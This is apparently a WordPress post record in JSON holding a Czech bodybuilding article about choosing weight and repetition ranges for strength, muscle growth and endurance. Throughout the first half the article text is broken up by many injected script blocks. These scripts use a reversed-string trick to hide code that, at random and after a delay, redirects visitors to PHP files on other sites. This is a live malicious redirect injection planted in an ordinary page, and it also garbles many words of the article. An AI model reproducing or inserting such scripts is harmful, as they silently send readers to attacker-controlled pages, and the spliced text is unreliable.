{"id":498,"date":"2021-06-17T09:01:49","date_gmt":"2021-06-17T09:01:49","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=498"},"modified":"2021-06-17T09:02:31","modified_gmt":"2021-06-17T09:02:31","slug":"jak-zvolit-optimalni-zatez","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2021\/06\/17\/jak-zvolit-optimalni-zatez\/","title":{"rendered":"JAK ZVOLIT OPTIM\u00c1LN\u00cd Z\u00c1T\u011a\u017d"},"content":{"rendered":"<p>Na sn\u00edmku:\u00a0Radim Z\u00e1bransk\u00fd, fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to: Josef Adlt ve Fit Life Doubravka Plze\u0148<\/p>\n<p>&nbsp;<\/p>\n<p><strong>K\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, abyste vytvo\u0159ili podm\u00ednky ide\u00e1ln\u00ed pro n\u00e1r\u016fst svalov\u00e9 hmoty, pot\u0159ebujete pochopit vztah mezi pou\u017ei<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou z\u00e1t\u011b\u017e\u00ed a po\u010dtem opakov\u00e1n\u00ed, kter\u00e1 chcete prov\u00e9st.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Za\u010d\u00e1te\u010dn\u00edky obvykle zaj\u00edm\u00e1, kter\u00fd proteinov\u00fd pr\u00e1\u0161ek je pro n\u011b nejlep\u0161\u00ed (<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to t\u00e9matu se v\u00edce v\u011bnujeme na stran\u011b 49), a vz\u00e1p\u011bt\u00ed pokl\u00e1daj\u00ed dal\u0161\u00ed kl\u00ed\u010dovou ot\u00e1zku: Jakou z\u00e1t\u011b\u017e bych m\u011bl pou\u017e\u00edt? Odpov\u011b\u010f na tak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jednodu\u0161e polo\u017een\u00fd dotaz nen\u00ed v\u016fbec snadn\u00e1.<\/p>\n<p>V\u00a0p\u0159\u00edpad\u011b za\u010d\u00e1te\u010dn\u00edk\u016f <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e mus\u00edte vych\u00e1zet z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, \u017ee je t\u0159eba jednoho a\u017e dvou m\u011bs\u00edc\u016f, ne\u017e se spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec nau\u010d\u00ed cviky spr\u00e1vn\u011b technicky prov\u00e1d\u011bt. V\u00a0tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dobu mus\u00ed pochopiteln\u011b cvi\u010dit s\u00a0lehkou v\u00e1hou a pozornost v\u011bnovat p\u0159edev\u0161\u00edm form\u011b cviku. N\u00e1sledn\u011b p\u0159ich\u00e1z\u00ed f\u00e1ze, kde je nutn\u00e9 z\u00e1t\u011b\u017e p\u0159izp\u016fsobit tr\u00e9ninkov\u00fdm c\u00edl\u016fm.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>PODLE \u010cEHO POZN\u00c1M, \u017dE JE TO SPR\u00c1VN\u00c1 Z\u00c1T\u011a\u017d?<\/strong><\/p>\n<p>Jako p\u0159\u00edklad pou\u017eijeme zdvihy s\u00a0velkou \u010dinkou. Nab\u00edz\u00ed se v\u00e1m n\u011bkolik mo\u017enost\u00ed:<\/p>\n<p>&#8211; m\u016f\u017eete si vz\u00edt pr\u00e1zdnou EZ ty\u010d a prov\u00e9st n\u011bjak\u00fdch 40 opakov\u00e1n\u00ed, nebo<\/p>\n<p>&#8211; na ty\u010d nalo\u017e\u00edte z\u00a0ka\u017ed\u00e9 strany 5kg ko<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u010d a opakov\u00e1n\u00ed zvl\u00e1dnete 20;<\/p>\n<p>&#8211; na ka\u017edou stranu d\u00e1te 10kg ko<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u010d a provedete cca 8 opakov\u00e1n\u00ed;<\/p>\n<p>&#8211; odcvi\u010d\u00edte jedno a\u017e dv\u011b opakov\u00e1n\u00ed se dv\u011bma\u00a020kg ko<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u010di.<\/p>\n<p>V\u0161echny zm\u00edn\u011bn\u00e9 mo\u017enosti budou funk\u010dn\u00ed a povedou k\u00a0vy\u010derp\u00e1n\u00ed sval\u016f, tzn. ke stavu, kdy u\u017e nebudete schopni zvl\u00e1dnout ani jedno striktn\u00ed opakov\u00e1n\u00ed. Bude <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pro v\u00e1s rozhodn\u011b n\u00e1ro\u010dn\u00e9 cvi\u010den\u00ed, je ale ot\u00e1zkou, kter\u00fd z\u00a0uveden\u00fdch zp\u016fsob\u016f je pro v\u00e1s nejlep\u0161\u00ed.<\/p>\n<p>A zde pr\u00e1v\u011b p\u0159ich\u00e1z\u00ed ke slovu tr\u00e9ninkov\u00e9 c\u00edle. Pro budov\u00e1n\u00ed s\u00edly pot\u0159ebujete pou\u017e\u00edt vy\u0161\u0161\u00ed z\u00e1t\u011b\u017e ne\u017e pro stimulaci svalov\u00fdch objem\u016f. A jestli\u017ee chcete zapracovat hlavn\u011b na vytrvalosti, budete cvi\u010dit s\u00a0leh\u010d\u00ed v\u00e1hou ve vy\u0161\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed, \u010d\u00edm\u017e ov\u0161em sn\u00ed\u017e\u00edte svoje \u0161ance na budov\u00e1n\u00ed hmoty i s\u00edly.<\/p>\n<p>Odborn\u00edci se vztahu mezi z\u00e1t\u011b\u017e\u00ed a po\u010dtem opakov\u00e1n\u00ed v\u011bnovali ji\u017e mnohokr\u00e1t. Do\u0161li k\u00a0n\u00e1sleduj\u00edc\u00edm zji\u0161t\u011bn\u00edm:<\/p>\n<p>&#8211; Pokud chcete maximalizovat s\u00edlu, m\u011bli byste zvolit z\u00e1t\u011b\u017e, se kterou zvl\u00e1dnete jedno a\u017e \u0161est opakov\u00e1n\u00ed.<\/p>\n<p>&#8211; Jestli\u017ee je va\u0161\u00edm c\u00edlem budov\u00e1n\u00ed svalov\u00e9 hmoty (hypertrofie), zvolte v\u00e1hu, se kterou odcvi\u010d\u00edte 6-12 opakov\u00e1n\u00ed.<\/p>\n<p>&#8211; Ti, kte\u0159\u00ed se zam\u011b\u0159uj\u00ed na vytrvalost (schopnost pod\u00e1vat dlouhodob\u00fd v\u00fdkon, ani\u017e by do\u0161lo k\u00a0vy\u010derp\u00e1n\u00ed), si nalo\u017e\u00ed v\u00e1hu, se kterou zvl\u00e1dnou alespo\u0148 15 opakov\u00e1n\u00ed.<\/p>\n<p>Je evidentn\u00ed, \u017ee po\u010dty opakov\u00e1n\u00ed se s\u00a0ohledem na c\u00edl tr\u00e9ninku li\u0161\u00ed a v\u00a0n\u00e1vaznosti na n\u011b pak i zvolen\u00e1 z\u00e1t\u011b\u017e. Pokud byste zvolili nevhodnou v\u00e1hu, jist\u011b n\u011bjak\u00fdch v\u00fdsledk\u016f dos\u00e1hnete, ale nebudou rozhodn\u011b optim\u00e1ln\u00ed. Objemov\u00fd tr\u00e9nink se st\u0159edn\u011b vysokou v\u00e1hou bezpochyby povede i k\u00a0n\u00e1r\u016fstu s\u00edly, ale nikoliv k\u00a0takov\u00e9mu, jak\u00e9ho dos\u00e1hnete c\u00edlen\u00fdm silov\u00fdm tr\u00e9ninkem. Kulturist\u00e9 jsou bezpochyby siln\u00ed, ale ne tak jako powerlifte\u0159i.<\/p>\n<p>K\u00a0jednotliv\u00fdm tr\u00e9ninkov\u00fdm c\u00edl\u016fm je tedy t\u0159eba p\u0159i\u0159adit spr\u00e1vn\u00fd cvi\u010debn\u00ed postup.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>KDY\u017d V\u00c1M JDE O S\u00cdLU<\/strong><\/p>\n<p>Silov\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci prov\u00e1d\u011bj\u00ed jen men\u0161\u00ed po\u010det opakov\u00e1n\u00ed s\u00a0velmi vysokou z\u00e1t\u011b\u017e\u00ed. Powerlifte\u0159i a dal\u0161\u00ed sil\u00e1ci tr\u00e9nuj\u00ed tak, aby n\u00e1sledn\u011b mohli svoji s\u00edlu p\u0159edv\u00e9st na z\u00e1vodech. Jejich tr\u00e9ninky se skl\u00e1daj\u00ed prakticky pouze ze z\u00e1kladn\u00edch cvik\u016f, jako je bench press, p\u0159\u00edtahy, d\u0159epy a mrtv\u00e9 tahy. Jde tedy o cviky, p\u0159i kter\u00fdch pohyb vych\u00e1z\u00ed z\u00a0v\u00edce kloub\u016f, nap\u0159\u00edklad z\u00a0ky\u010dl\u00ed, kolen a kotn\u00edk\u016f p\u0159i d\u0159epech. T\u00edm, \u017ee aktivujete v\u011bt\u0161\u00ed mno\u017estv\u00ed sval\u016f, m\u016f\u017eete zvl\u00e1dnout vy\u0161\u0161\u00ed v\u00e1hu a n\u00e1sledn\u011b se t\u011b\u0161it na v\u00fdrazn\u011bj\u0161\u00ed anabolickou reakci.<\/p>\n<p>Cvi\u010den\u00ed s\u00a0vysokou z\u00e1t\u011b\u017e\u00ed aktivuje p\u0159ev\u00e1\u017en\u011b rychl\u00e1 svalov\u00e1 vl\u00e1kna, kter\u00e1 jsou v\u00a0reakci 